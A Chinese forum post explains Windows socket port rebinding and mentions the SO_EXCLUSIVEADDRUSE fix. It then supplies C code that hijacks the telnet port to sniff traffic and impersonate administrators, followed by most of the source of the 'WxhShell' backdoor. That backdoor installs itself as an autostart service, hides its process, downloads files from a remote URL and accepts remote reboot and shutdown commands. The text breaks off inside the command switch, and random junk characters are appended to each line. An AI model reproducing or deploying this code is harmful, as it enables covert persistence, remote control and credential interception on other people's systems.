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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: '>"riEk  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $nf5bo/;  
 <xn96|$  
  saddr.sin_family = AF_INET; 8,VX%CS#q  
xJcM1>cT>  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); yiT)m]E d  
yW@0Q:  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 5Yxs_t4  
O4c[,Uq8~  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 85{2TXQ^%=  
Nd;)V  
  这意味着什么?意味着可以进行如下的攻击: lhk=yVG3  
Ire+r "am  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 xbTvv>'U  
Bm e_#  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ?v5OUmFM  
cu |S|]g  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 !<EQVqj6  
pwIu;:O!?  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  UgqfO(  
QXaE2}}P  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 th :I31  
= n>aJ(=Pd  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 {.r jp`39  
2bnF#-(  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 #E'aa'P}  
3QZ~t#,7ij  
  #include O>vbAIu  
  #include B8G9V6KS-  
  #include e6 &-f  
  #include    s3Wjg  
  DWORD WINAPI ClientThread(LPVOID lpParam);   0`H)c) pP  
  int main() eV"Za.a.  
  { kO)+%'L!8  
  WORD wVersionRequested; W]TO%x{  
  DWORD ret; $ap6Vxjr  
  WSADATA wsaData; HNMVs]/e  
  BOOL val; P&g.%8b~84  
  SOCKADDR_IN saddr; {J[5 {]Je[  
  SOCKADDR_IN scaddr; bdxmJ9a:R  
  int err; 7,v}Ap]Pa  
  SOCKET s; e5z U`R  
  SOCKET sc; B* hW  
  int caddsize; q@@C|oqEX  
  HANDLE mt; RJ63"F $  
  DWORD tid;   [(81-j1v  
  wVersionRequested = MAKEWORD( 2, 2 ); .[Hv/?L  
  err = WSAStartup( wVersionRequested, &wsaData ); H)@f_pfj(  
  if ( err != 0 ) { qX_( M2oLU  
  printf("error!WSAStartup failed!\n"); <H]1 6  
  return -1; ,suC`)R  
  } #P,C9OQD  
  saddr.sin_family = AF_INET; rn8#nQ>QZ%  
   sI,S(VWor  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ;,&$ob*/  
cD5^mxd%  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); |to|kU  
  saddr.sin_port = htons(23); 6xC$R q  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) j34L*?  
  { \v,m r|  
  printf("error!socket failed!\n"); K}KgCJ3  
  return -1; "TQ3{=j{  
  } *z3wm-z1&  
  val = TRUE; _oU}>5  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 k6(9Rw8bCk  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) QRw/d}8l  
  { >cdxe3I\  
  printf("error!setsockopt failed!\n"); \J?l7mG  
  return -1; QE\t}>  
  } } N$soaUs  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; y]YUuJ9a  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 cy%S5Rz  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 }b$W+/M\  
]A#K;AW{U  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) +jv&V%IL  
  { M[}aQWT$v  
  ret=GetLastError(); ^DaP^<V  
  printf("error!bind failed!\n"); I<}<!.Bc!  
  return -1; ?E2$  
  } ,bU 8S\8  
  listen(s,2); h+"UK=  
  while(1) c&]nAn(  
  { &}."sGK  
  caddsize = sizeof(scaddr); EZw<)Q   
  //接受连接请求 [(d))(M$|  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); !J/fJW>m6  
  if(sc!=INVALID_SOCKET) i^I U)\   
  { (imaL,M-D  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); R{0nk   
  if(mt==NULL) 4],*y`& g  
  { 6$*\%  
  printf("Thread Creat Failed!\n"); 'U|Tye i?  
  break; O&vE 5%x  
  } R>#BJ^>=  
  } '^# =,+ A  
  CloseHandle(mt); ?V9Da;cj  
  } r,FPTf  
  closesocket(s); (7k}ysc  
  WSACleanup(); Q"VS;uh.v  
  return 0; ))xyaYIZkk  
  }   1{0 L~  
  DWORD WINAPI ClientThread(LPVOID lpParam) 6|HxBC#4  
  { 5p]Cwj<u  
  SOCKET ss = (SOCKET)lpParam; W_\~CntyZ  
  SOCKET sc; M7x*LiKc2  
  unsigned char buf[4096]; N#!**Q 0  
  SOCKADDR_IN saddr; ZaKT~f%%z  
  long num; NAnccB D!{  
  DWORD val; ) Z^b)KAk  
  DWORD ret; F caO-  
  //如果是隐藏端口应用的话,可以在此处加一些判断 fZ7Ap3dmP  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   4eh~/o&h  
  saddr.sin_family = AF_INET; W5c?f,  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); y2=`NG=  
  saddr.sin_port = htons(23); s(u,mtG  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) k  __MYb  
  { NB@TyU  
  printf("error!socket failed!\n"); ROWrkJI>i  
  return -1; E{B8+T:3  
  } Zp'q;h_  
  val = 100; O_bgrXg6x  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Dqz9NB  
  { *F)+- BB  
  ret = GetLastError(); ]@G$ L,3  
  return -1; 552U~t  
  } )h>H}wDs  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )i$:iI >k  
  { QswbIP/>:'  
  ret = GetLastError(); Lo-\;%y  
  return -1; =e j'5m($3  
  } _O w]kP='  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) (t%+Z"j  
  { F&[MyXU4  
  printf("error!socket connect failed!\n"); 3~5 %6`  
  closesocket(sc); 7LZ A!3  
  closesocket(ss); I4RUXi 5  
  return -1; |vVcO  
  } |Js?@  
  while(1) V#-\ 4`c  
  { >mXq= 9L4  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 A KjCm*K(q  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 DM[gjfMXu  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 23|R $s>}i  
  num = recv(ss,buf,4096,0); |w)S &+  
  if(num>0) 2n3g!M6~  
  send(sc,buf,num,0); [e.@Yx_}  
  else if(num==0) rfwX:R6,g  
  break; k'b'Ay(<  
  num = recv(sc,buf,4096,0); TLWU7aj&!  
  if(num>0) IJzPWs5W:  
  send(ss,buf,num,0); 1O@y >cV  
  else if(num==0) ;:l>Kac  
  break; }g]O_fN7~  
  } {CH *?|t  
  closesocket(ss); l+n0=^ Z  
  closesocket(sc); /tqQAvj  
  return 0 ; p*l]I *x'<  
  } Ph Ep3o&"  
<>I4wqqb  
k}tT l 2  
========================================================== "H"4]m1Wc  
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下边附上一个代码,,WXhSHELL )(`HEl>-9c  
n+qa/<  
========================================================== _G1C5nkDl4  
*\4u:1Cu  
#include "stdafx.h" 2Ysl|xRo  
ZBcT@hxm  
#include <stdio.h> yD\[`!sWk  
#include <string.h> VHlo}Ek<#  
#include <windows.h> `j1(GQt  
#include <winsock2.h> ?V >{3  
#include <winsvc.h> T>e4Og"?  
#include <urlmon.h> \ W.uV[\  
AC& }8w[>u  
#pragma comment (lib, "Ws2_32.lib") FXd><#U  
#pragma comment (lib, "urlmon.lib") i<>zN^zn  
p^/6Rb"e  
#define MAX_USER   100 // 最大客户端连接数 #lo1GoL\  
#define BUF_SOCK   200 // sock buffer \&#pJBBG  
#define KEY_BUFF   255 // 输入 buffer 3<vw#]yL  
n |Is&fy  
#define REBOOT     0   // 重启 )cUFb:D*"  
#define SHUTDOWN   1   // 关机 >ngP\&\  
{S 2? }  
#define DEF_PORT   5000 // 监听端口 KB6'sj  
o n+:{ad  
#define REG_LEN     16   // 注册表键长度 N{o3w.g  
#define SVC_LEN     80   // NT服务名长度 E>2~cC*  
hnD=DLW $  
// 从dll定义API <-avC/M$d  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); h|Os T  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); v5Qp[O_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #G`UR  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); W]l&mr  
),53(=/hl  
// wxhshell配置信息 D @bnm s  
struct WSCFG { i *9Bu;  
  int ws_port;         // 监听端口 SZ)AO8&  
  char ws_passstr[REG_LEN]; // 口令 ,]* MI"  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6'YsSde".  
  char ws_regname[REG_LEN]; // 注册表键名 NKJ+DD:'  
  char ws_svcname[REG_LEN]; // 服务名 a ]~Yi.H  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  p;k7\7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <+iL@'SgF  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 c^a D r  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @GrQ /F7  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" z3+7gp+I;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 XzV:q!e-  
nJ{vO{N  
}; ehe;<A  
Q q7+_,w  
// default Wxhshell configuration y^xEZD1X6-  
struct WSCFG wscfg={DEF_PORT, <1xs ya[e  
    "xuhuanlingzhe", u hJnDo  
    1, 5q Y+^jO]o  
    "Wxhshell", !\RBOdw C  
    "Wxhshell", u:[vqlU  
            "WxhShell Service", +#Q\;; FNP  
    "Wrsky Windows CmdShell Service", 6^vseVx  
    "Please Input Your Password: ", R3,O;9i  
  1, dnXre*rhz  
  "http://www.wrsky.com/wxhshell.exe", wx2 EMr   
  "Wxhshell.exe" ~[H+,+XLY+  
    }; Fu;\t 0  
7%g8&d  
// 消息定义模块 B>=NE.ulUL  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~E J+<[/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; We51s^(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; qS.TVNZ  
char *msg_ws_ext="\n\rExit."; 34e> R?J  
char *msg_ws_end="\n\rQuit."; E!_mXjlPc  
char *msg_ws_boot="\n\rReboot..."; +T|M U  
char *msg_ws_poff="\n\rShutdown..."; >3\($<YDZM  
char *msg_ws_down="\n\rSave to "; vC1D}=Fp  
pY T^Ug  
char *msg_ws_err="\n\rErr!"; C 7e  
char *msg_ws_ok="\n\rOK!"; |:jka  
Rx\.x? &  
char ExeFile[MAX_PATH]; 7%x 3o#&  
int nUser = 0; Dx1w I  
HANDLE handles[MAX_USER]; F )|0U~  
int OsIsNt; P_{jZ}y(  
B<}0r 4T}  
SERVICE_STATUS       serviceStatus; &R7N^*He  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; +&j&es  
[h;&r"1  
// 函数声明 #MwNyZ  
int Install(void); 6Uik>e7?  
int Uninstall(void); njoU0f1`  
int DownloadFile(char *sURL, SOCKET wsh); ) }.<lSw  
int Boot(int flag); /j|Rz5@ =  
void HideProc(void); fP :26pK^  
int GetOsVer(void); h'D-e5i  
int Wxhshell(SOCKET wsl); n>|7 k3  
void TalkWithClient(void *cs); KOqp@K$  
int CmdShell(SOCKET sock); W:z?w2{VI(  
int StartFromService(void); `5$B"p&i  
int StartWxhshell(LPSTR lpCmdLine); *RpBKm&^7  
/xseI)y.B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); wAn}ic".b  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); WhU-^`[*  
ZBX,4kxK7  
// 数据结构和表定义 (Z{&[h  
SERVICE_TABLE_ENTRY DispatchTable[] = *pMu,?uE  
{ <XAW-m9SC  
{wscfg.ws_svcname, NTServiceMain}, W{6%Hh p  
{NULL, NULL} djGzJLH  
}; +2WvGRC  
H/Wo~$  
// 自我安装 Kq. MmR!gl  
int Install(void) mxxuD"5  
{ VUD ?iv7  
  char svExeFile[MAX_PATH]; H[S 4o,  
  HKEY key; Q \E [py  
  strcpy(svExeFile,ExeFile); n@"h^-  
?~g X7{>  
// 如果是win9x系统,修改注册表设为自启动 ]EhU8bZ  
if(!OsIsNt) { (w+dB8 )X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~ R:=zGDV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qDzd_E@aR  
  RegCloseKey(key); %M/rpEE"b%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -N4km5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )C0dN>Gb  
  RegCloseKey(key); bF#1'W&  
  return 0; IW1+^F9NEw  
    } ?jDdF  
  } R,'` A.Kk  
} GNIZHyT(O  
else { vXA+4 ?ZG  
Q, 1TD 2)h  
// 如果是NT以上系统,安装为系统服务 x<-n}VK\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); equTKM  
if (schSCManager!=0) 8T2iqqG/1  
{ kS@6'5U  
  SC_HANDLE schService = CreateService _r6aLm2n  
  ( 8&0+Az"{O  
  schSCManager, >gqd y*Bg  
  wscfg.ws_svcname, %%=PpKYtSD  
  wscfg.ws_svcdisp, l_`DQ8L`  
  SERVICE_ALL_ACCESS, >#j f Z5t  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , R"0fZENTG  
  SERVICE_AUTO_START, O_n) 2t(c?  
  SERVICE_ERROR_NORMAL, T9,T'y>BD  
  svExeFile, k8~/lE.Wy  
  NULL, 6)QJms  
  NULL, VXpbmg!{S  
  NULL, mF|7:zSo  
  NULL, k~<b~VcU  
  NULL %#^)hX,+Q  
  ); Z6Owxqfht  
  if (schService!=0) K:i{us`  
  { mROXwzL  
  CloseServiceHandle(schService); _Coh11  
  CloseServiceHandle(schSCManager); T<\!7 RnLc  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); G31??L:<  
  strcat(svExeFile,wscfg.ws_svcname); _ zh>q4M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .%iJin"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~qk5Mk4$  
  RegCloseKey(key); ~sd+ch*  
  return 0; D8b~-#  
    } DV,rh83.ip  
  } |6mDooTy  
  CloseServiceHandle(schSCManager); :Y AxL J  
} KG5h$eM'  
} =h#3D?b0n  
bkZ~O=uv$-  
return 1; )kq3q5*_  
} )7H s  
;g0p`wV  
// 自我卸载 DKcg  
int Uninstall(void) \8I>^4t'/  
{ C9`J6Uu  
  HKEY key; @y#QHJ.j  
&?-LL{W{  
if(!OsIsNt) { 7xmyjy%c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :n4X>YL)  
  RegDeleteValue(key,wscfg.ws_regname); :4ndU:.L  
  RegCloseKey(key);  3e<FlH{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Pd,+= ML  
  RegDeleteValue(key,wscfg.ws_regname); eTV%+  
  RegCloseKey(key); Mk*&CNo3  
  return 0; Zv`j+b  
  } +&w=*IAKZ  
} q $Hg\ {c  
} XuQ7nlbnq  
else { KvFGwq"X  
UP@a ?w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); sw(dd01a 7  
if (schSCManager!=0) :[#~,TW  
{ }P5zf$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _>G=v!  
  if (schService!=0) 4|&7j7<u  
  { !_EaF`oh(  
  if(DeleteService(schService)!=0) { Mbt}G|;8H7  
  CloseServiceHandle(schService); 3E!#?N|v  
  CloseServiceHandle(schSCManager); XYKWOrkQqa  
  return 0; X>n\@rTo  
  } B"-gK20vY  
  CloseServiceHandle(schService); Dn 6k,nVh  
  } `o9vE0^T<  
  CloseServiceHandle(schSCManager); W.xlS ZEB  
} F^ m`j6  
} V7zF5=w  
SX{sh M2  
return 1; yMQuM :d  
} H?dmNwkPY  
PgKA>50a  
// 从指定url下载文件 1I?D$I>CV  
int DownloadFile(char *sURL, SOCKET wsh) }HM8VAH  
{ lF:gQ]oc  
  HRESULT hr; 6z^Kg~a   
char seps[]= "/"; Q9lw~"  
char *token; %f{1u5+5  
char *file; d2Z kchf  
char myURL[MAX_PATH]; Y4%Bx8  
char myFILE[MAX_PATH]; +DWmutL  
B%v2)+?@  
strcpy(myURL,sURL); X(-e-:B4;  
  token=strtok(myURL,seps); )\:cL GM  
  while(token!=NULL) =:+k  
  { 0hKF)b  
    file=token; N0@&eX|$i4  
  token=strtok(NULL,seps); 4T-9F  
  } >H@ zP8  
'L*nC T;  
GetCurrentDirectory(MAX_PATH,myFILE); O IF0X!  
strcat(myFILE, "\\"); &&0,;r, -)  
strcat(myFILE, file); k,L,  
  send(wsh,myFILE,strlen(myFILE),0); uC3o@qGW<  
send(wsh,"...",3,0);  [69[Ct  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); oKIry 8'^N  
  if(hr==S_OK) {gE19J3  
return 0; *t;'I -1w^  
else :*bmc/c  
return 1; Gs*FbrY  
U9D4bn D  
} {emO&#=@CP  
 w' E  
// 系统电源模块 zN(fZT}K5  
int Boot(int flag) x%ZgLvdp,  
{ qll)  
  HANDLE hToken; ,3G8afo  
  TOKEN_PRIVILEGES tkp; ^X6fgsjz  
tJ>OZ  
  if(OsIsNt) { v;S7i>\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (+<SR5,/3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |Ire#0Nwx  
    tkp.PrivilegeCount = 1; f>)k<-<yj  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; r\y~ :  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); oYNP,8r^  
if(flag==REBOOT) { :t\pi. uWt  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `}1IQ.3  
  return 0; B2~KkMF  
} r5qp[Ss3F  
else { NymS8hxR  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =J0X{Ovn4z  
  return 0; QE&rpF7l{  
} PaF`dnJ  
  } )%q]?@kB  
  else { FbB> Md;  
if(flag==REBOOT) { QN_Zd@K*A  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Zx(VwB2   
  return 0; 1F*gPhm  
} }&d@6m]  
else { xrX^";}j  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )v1n#m,W  
  return 0; nDnSVrvd-i  
} JcEPwF.  
} VnUW UIVJ  
5qkG~ YO-  
return 1; _94|^   
} /dpEL9K  
YEoQIR  
// win9x进程隐藏模块 xzg81sV7  
void HideProc(void) -W(O~AK  
{ )s6pOxWx  
c>~"Z-VtX  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); WjxO M\?#  
  if ( hKernel != NULL ) "?|sC{'C4j  
  { +0mU)4n/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); zhH-lMNj-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1u&}Lq(  
    FreeLibrary(hKernel); w66iLQ\@  
  } @b\/\\{  
MtC\kTW  
return; V6Kw71'9  
} oLEqy  
m72r6Yq2@  
// 获取操作系统版本 K_ P08  
int GetOsVer(void) T]\_[e:'  
{ K1Ms  
  OSVERSIONINFO winfo; Xc;W9e(U  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); H: Rd4dl,  
  GetVersionEx(&winfo); [mKPOg-t  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) K'.aQ&2  
  return 1; P.WEu<$  
  else @K; 4'b~  
  return 0; &*\wr} a!  
} tgy*!B6a~  
|Id0+-V ?  
// 客户端句柄模块 8%]o6'd4  
int Wxhshell(SOCKET wsl) h.@5vhD  
{ Q?KWiFA}'  
  SOCKET wsh; FU9q|!2Y  
  struct sockaddr_in client; ,$ L>  
  DWORD myID; )%lPa|7s  
[V_Z9-f*  
  while(nUser<MAX_USER) bhaIi>W~G  
{ T!C39T  
  int nSize=sizeof(client); :B?C~U k  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :,03)[u{8  
  if(wsh==INVALID_SOCKET) return 1; &U%AVD[  
?s[ kUv+=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); uc]]zI6  
if(handles[nUser]==0) -ju&"L B  
  closesocket(wsh); 1e.V%!Xk  
else m,KG}KX  
  nUser++; XVcY?_AS#  
  } (LzVWz m  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4{JoeIRyz  
:/ ,h)h)|  
  return 0; 9fr LYJz"  
} !t/I j~o  
f QSP]?  
// 关闭 socket v< qN -zG  
void CloseIt(SOCKET wsh) - Te+{  
{ SoX\S|}%6[  
closesocket(wsh); lt\. )Y>4  
nUser--; bK:mt`  
ExitThread(0); 7}>7@W8  
} x"q!=&>f  
Z _W.iBF  
// 客户端请求句柄 Nv!If$d  
void TalkWithClient(void *cs) t]LOBy-Kv  
{ !5lb+%7  
g,Z8I;A^  
  SOCKET wsh=(SOCKET)cs; IzPnbnS}  
  char pwd[SVC_LEN]; qyzmjV6J2  
  char cmd[KEY_BUFF]; ~R-P%l P  
char chr[1]; j4h6p(w{  
int i,j; o ?z A'5q  
,TL8`  
  while (nUser < MAX_USER) { ,.;q[s8  
zvjp]yTx"  
if(wscfg.ws_passstr) { +?r,Nn  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); PhTMXv<cE  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J?VMQTa/+  
  //ZeroMemory(pwd,KEY_BUFF); /U\k<\1~m  
      i=0; s`Z | A  
  while(i<SVC_LEN) { .!|\Y!]^r  
XS+2OutVo  
  // 设置超时 y&;ytNG&<  
  fd_set FdRead; V0 70oZ  
  struct timeval TimeOut; 1.29%O8V_  
  FD_ZERO(&FdRead); u7  s-  
  FD_SET(wsh,&FdRead); ~jcdnm]  
  TimeOut.tv_sec=8; PM ]|S`  
  TimeOut.tv_usec=0; WbF[4 x  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); a`/\0~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >Pa&f20Hp  
IZ?+c@t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j{QzD^t  
  pwd=chr[0]; miWog8j  
  if(chr[0]==0xd || chr[0]==0xa) { 44@yQ?  
  pwd=0; QX`Qnk|Y  
  break; hb@,fgo!Q  
  } 2>`m1q:  
  i++; cg`bbZ  
    } h"O4r8G}  
>JOEp0J  
  // 如果是非法用户,关闭 socket ,j3Yvn W  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >~_oSC)E  
} 8NP|>uaj  
i`k{}!F  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); E~]37!,\\9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n:dnBwY  
f%#q}vK-  
while(1) { 'P'f`;'_DC  
":igYh  
  ZeroMemory(cmd,KEY_BUFF); $)or{Z$&  
nulLK28q  
      // 自动支持客户端 telnet标准   {N.J A=  
  j=0; \3K%>   
  while(j<KEY_BUFF) { *z?Vy<u G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P|U9f6^3  
  cmd[j]=chr[0]; ]*/%5ZOI&  
  if(chr[0]==0xa || chr[0]==0xd) { sKu/VAh x  
  cmd[j]=0; +g.lLb*#  
  break; * I)F5M  
  } eHX;*~e6)  
  j++; <rQ+ErDA  
    } /7[U J'  
>~+qU&'2  
  // 下载文件 $X\deJ1Hi  
  if(strstr(cmd,"http://")) { *WzvPl$e  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  =&8Cg  
  if(DownloadFile(cmd,wsh)) )#%v1rR  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  yxx9h3  
  else |[+/ ]Y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NC @L,)F  
  } 5EX Ghc'  
  else { 4CH/~b1 (  
.:wo ARW!  
    switch(cmd[0]) { W)~}o<a)[  
  @1c[<3xJ T  
  // 帮助 >U7{EfUJdx  
  case '?': { 2=]Xe#5J=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [H4)p ,R  
    break; _GW,9s^A  
  } B!j7vXM2  
  // 安装 .X.,.vHx  
  case 'i': { &=>|? m8  
    if(Install()) Z%m\/wr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ; ElwF&"!X  
    else r)]8zK4;=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #_pQS}$  
    break; F-TDS<[S?  
    } k]"DsN$  
  // 卸载 br3r!Vuz/-  
  case 'r': { fVvB8[(;~  
    if(Uninstall()) bCfw,V{sce  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T8t_+| ( G  
    else )&px[Dbx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3'jH,17lWV  
    break; n=iL6Yu(  
    } =zsA@UM0  
  // 显示 wxhshell 所在路径 EK 8rV  
  case 'p': { k1_" }B5  
    char svExeFile[MAX_PATH]; N+nv#]{  
    strcpy(svExeFile,"\n\r"); VRQD  
      strcat(svExeFile,ExeFile); 2~B9 (|  
        send(wsh,svExeFile,strlen(svExeFile),0); VKb=)v[K  
    break; !kQJ6U  
    } ~TfN*0  
  // 重启  8 ?4/  
  case 'b': { -Cc2|~n  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); g3*J3I-O  
    if(Boot(REBOOT)) !;%+1j?d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #+ai G52+  
    else { /RBIZ_  
    closesocket(wsh); +@mgb4_  
    ExitThread(0); ,t|qhJF  
    } [}Z!hq  
    break; jccSjGX@w  
    } "lnI@t{o  
